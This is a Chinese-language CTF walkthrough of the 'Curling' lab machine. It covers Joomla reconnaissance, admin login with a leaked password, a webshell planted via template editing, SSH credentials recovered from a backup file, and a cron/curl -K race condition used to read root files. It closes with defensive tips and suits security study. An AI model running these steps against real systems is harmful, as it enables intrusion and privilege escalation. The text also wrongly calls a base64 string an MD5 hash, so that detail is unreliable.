Curling靶机渗透
字数 1370 2025-08-27 12:33:54

Joomla 3.8.8 渗透测试实战教程:从信息收集到Root权限获取

1. 目标环境概述

目标系统:Ubuntu Linux (基于OpenSSH 7.6p1版本判断)
Web服务:Apache 2.4.29
CMS系统:Joomla 3.8.8
开放端口:

  • 22/tcp (SSH)
  • 80/tcp (HTTP)

2. 初始信息收集

2.1 使用Nmap扫描

nmap -v -sC 10.10.10.150

扫描结果:

  • SSH服务运行在22端口
  • HTTP服务运行在80端口,使用Joomla CMS

2.2 Joomla版本识别

使用joomscan工具识别Joomla版本:

joomscan -u http://10.10.10.150/

扫描结果显示:

  • Joomla版本为3.8.8
  • 管理员后台地址:http://10.10.10.150/administrator/
  • 可目录遍历的路径:
    • /administrator/components
    • /administrator/modules
    • /administrator/templates
    • /images/banners

3. 漏洞利用路径

3.1 密码发现过程

  1. 检查网页源代码,发现注释中的线索:

    <!-- secret.txt -->
    
  2. 访问secret.txt获取MD5加密字符串:

    Q3VybGluZzIwMTgh
    
  3. 解密得到密码:

    Curling2018!
    
  4. 结合页面上的作者信息"Floris",尝试后台登录:

    • 用户名:Floris
    • 密码:Curling2018!

3.2 通过模板管理上传Webshell

  1. 登录Joomla后台后,导航至:

    Extensions -> Templates -> Templates
    
  2. 选择"Beez3 Details and Files"模板

  3. 点击"New File"创建PHP文件

  4. 写入Webshell内容(如PHP反向连接代码)

  5. 访问Webshell:

    http://10.10.10.150/templates/beez3/webshell.php
    

4. 权限提升:用户权限

4.1 查找用户凭证

  1. /home/floris目录下发现password_backup文件

  2. 分析文件头425a68,识别为Bzip2压缩文件

  3. 解压文件:

    bzip2 -d password_backup.tar.bz2
    
  4. 获取SSH凭证:

    • 用户名:floris
    • 密码:5d<wdCbdZu)|hChXll

4.2 获取user.txt

使用获取的SSH凭证登录后,查看用户flag:

cat /home/floris/user.txt

5. 权限提升:Root权限

5.1 分析定时任务

  1. 监控进程变化:

    ps -ef > a.txt
    ps -ef > b.txt
    diff a.txt b.txt
    
  2. 发现cron定时任务执行以下命令:

    /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
    

5.2 利用curl -K参数读取任意文件

  1. 创建恶意输入文件1.txt

    url = "file:///root/root.txt"
    
  2. 通过竞争条件替换input文件:

    while true; do cp -p /tmp/1.txt /home/floris/admin-area/input;done;
    
  3. 定时任务会使用curl读取我们指定的文件:

    curl -K /home/floris/admin-area/input
    
  4. 结果会写入report文件,查看root flag:

    cat report
    

6. 关键知识点总结

  1. 源代码审查:HTML注释中常包含敏感信息
  2. 弱密码利用:结合上下文信息猜测密码
  3. Joomla模板漏洞:通过模板管理功能上传Webshell
  4. 文件头分析:识别文件类型(如Bzip2压缩文件)
  5. 进程监控:通过比较进程快照发现定时任务
  6. 竞争条件利用:在正确时机替换关键文件
  7. curl参数注入:利用-K参数读取任意文件

7. 防御建议

  1. 删除HTML注释中的敏感信息
  2. 使用强密码策略,避免可预测的密码
  3. 限制Joomla后台的管理功能,特别是模板编辑
  4. 定期审计cron任务,确保没有不安全的操作
  5. 对敏感文件设置适当的权限
  6. 更新Joomla到最新版本,修复已知漏洞

8. 参考资源

  1. Joomla渗透-权限获取与维持
  2. Joomla官方安全公告
  3. OWASP Web安全测试指南
Joomla 3.8.8 渗透测试实战教程:从信息收集到Root权限获取 1. 目标环境概述 目标系统:Ubuntu Linux (基于OpenSSH 7.6p1版本判断) Web服务:Apache 2.4.29 CMS系统:Joomla 3.8.8 开放端口: 22/tcp (SSH) 80/tcp (HTTP) 2. 初始信息收集 2.1 使用Nmap扫描 扫描结果: SSH服务运行在22端口 HTTP服务运行在80端口,使用Joomla CMS 2.2 Joomla版本识别 使用joomscan工具识别Joomla版本: 扫描结果显示: Joomla版本为3.8.8 管理员后台地址: http://10.10.10.150/administrator/ 可目录遍历的路径: /administrator/components /administrator/modules /administrator/templates /images/banners 3. 漏洞利用路径 3.1 密码发现过程 检查网页源代码,发现注释中的线索: 访问 secret.txt 获取MD5加密字符串: 解密得到密码: 结合页面上的作者信息"Floris",尝试后台登录: 用户名:Floris 密码:Curling2018 ! 3.2 通过模板管理上传Webshell 登录Joomla后台后,导航至: 选择"Beez3 Details and Files"模板 点击"New File"创建PHP文件 写入Webshell内容(如PHP反向连接代码) 访问Webshell: 4. 权限提升:用户权限 4.1 查找用户凭证 在 /home/floris 目录下发现 password_backup 文件 分析文件头 425a68 ,识别为Bzip2压缩文件 解压文件: 获取SSH凭证: 用户名:floris 密码:5d <wdCbdZu)|hChXll 4.2 获取user.txt 使用获取的SSH凭证登录后,查看用户flag: 5. 权限提升:Root权限 5.1 分析定时任务 监控进程变化: 发现cron定时任务执行以下命令: 5.2 利用curl -K参数读取任意文件 创建恶意输入文件 1.txt : 通过竞争条件替换input文件: 定时任务会使用curl读取我们指定的文件: 结果会写入report文件,查看root flag: 6. 关键知识点总结 源代码审查 :HTML注释中常包含敏感信息 弱密码利用 :结合上下文信息猜测密码 Joomla模板漏洞 :通过模板管理功能上传Webshell 文件头分析 :识别文件类型(如Bzip2压缩文件) 进程监控 :通过比较进程快照发现定时任务 竞争条件利用 :在正确时机替换关键文件 curl参数注入 :利用-K参数读取任意文件 7. 防御建议 删除HTML注释中的敏感信息 使用强密码策略,避免可预测的密码 限制Joomla后台的管理功能,特别是模板编辑 定期审计cron任务,确保没有不安全的操作 对敏感文件设置适当的权限 更新Joomla到最新版本,修复已知漏洞 8. 参考资源 Joomla渗透-权限获取与维持 Joomla官方安全公告 OWASP Web安全测试指南